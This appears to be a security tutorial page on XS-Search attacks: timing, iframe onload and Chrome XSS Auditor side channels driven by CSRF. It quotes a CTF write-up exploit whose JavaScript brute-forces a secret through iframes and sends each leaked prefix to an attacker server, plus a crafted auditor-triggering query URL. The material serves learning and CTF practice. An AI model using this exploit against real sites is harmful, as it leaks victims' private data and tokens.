# XS-Search

**The best resource to learn XS-Search is** [**https://xsleaks.dev/**](https://xsleaks.dev/)

## XS-Search Time attack

Basically, you exploit a **CSRF vulnerability** to make a specific user access some **information** that the **victim can access** but you can't. Then, you **check** the **time** it take the request to be responded and depending on that you can know if the content was correctly accessed or not.

For example, imagine that the **admin of a web** page can **access all** the inside the **webfiles**  service and **you only** can access **yours**, and you want to know the **content** of a **file** that starts with the string "_**flag**_".

There is a **CSRF** vulnerability in the **seach by content** function and you can make the **admin visit any page**. Then, you could make the admin visit a malicious web server \(yours\) that will **exploit** the **CSRF** and will make the victim **search for** the file that starts with "_**flag**_". The attacker will make a **loop** so it will make the victim **search for every possibility** in: _flagX_. Then, if a character took **more time** that the rest, you can **asume** that it was the **correct** one and you can start a **new loop** with "_flag{X_" until you get the flag.

That is the **idea** but in the **real world** you need queries that retrive content take **much more time** that the queries that doesn't return anything.

For more information you can read:

* [https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549)
* [https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks](https://www.researchgate.net/publication/280738245_Cross-Site_Search_Attacks)

## XS-Search - Iframe

Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**.

You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** \(exploiting a CSRF like in the prevous situation\). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL.

For example:

1. **URL1**: www.attacker.com/xssearch\#try1
2. **URL2**: www.attacker.com/xssearch\#try2

If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**.

Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed.

If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.

### Iframe Chrome XSS Auditor

Imagine the **same situation as in the Timing attack method** and you also know that the **admin** is using a **Chrome browser** \(for example, Chrome-headless\) **with Chrome XSS Auditor.**

Then, you can use **iframes** to make the victim **search** for the page containing "_**flagX**_" \(beeing X **any** possible **character**\)inside a loop, and you also add to the URL inside the iframes a **fake parameter** that **contains javascript code that will only appear when a valid content is retrived**.

For example, if when you **search for** the **content** _**"my file"**_ the web server responds with a page that **includes** this **javascript** code:

```text
<script>console.log("you found someting");</script>
```

If you send a query like:

```text
www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>
```

The **Chrome XSS Auditor will block** the page and an **error** will appear.

Then, you can use Chrome XSS Auditor to **launch an error** when a **valid response is sent** from the victim server. Then, with the **Iframe** trick you can **detect** when you have find a **file** that **contains** "_**flag**_" **and the next valid character**.

For more information: [https://www.youtube.com/watch?v=HcrQy0C-hEA](https://www.youtube.com/watch?v=HcrQy0C-hEA)

### Abusing Chrome XSS Auditor to steal tokens

Using the previous technique \(with Chrome XSS Auditor\) you can **steal chunks of the code returned to a user** \(like tokens for example\). For more information: [https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens](https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens)

Please, notice that you will steal information returned to a user and not any code from the web server.

## Custom Detection

In the **fbcft2019** the **challenge**: **secret note keeper** was resolved exploiting a XS-Search.

You could make the **administrator** \(a headlessChrome\) **visit any page** and there was a **CSRF** vulnerable page that was able to **search files by content**. You also **knew** that the **flag starts** by _**fb{**_ and only the admin had access to it.

It was also important to notice that when you made a **search**, the results of the seach **appeared inside** an **iframe** \(if something was found\). And **none iframe appeared** if **anything** was found.

So, you could make the admin visit your exploit that will be a **loop of every possible charater** inside _fb{X_ inside an iframe. And using:

```text
contentWindow.frames.length != 0
```

You could **check** how **many iframes** where created **inside your iframe**, and **if an**y, then the **character** would be **correct** and you could start extracting the next one.

This is a code example of this from: [https://sectt.github.io/writeups/FBCTF19/secret\_note\_keeper/README](https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README)

```text
<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    //When the page inside the iframe is loaded
    x.onload = () => {
    //Check the number of iframes inside
        if (x.contentWindow.frames.length != 0) {
        // If 1 or more, then, the character was valid
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
</script>

</html>

```



## More information

{% embed url="https://github.com/xsleaks/xsleaks" %}

[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)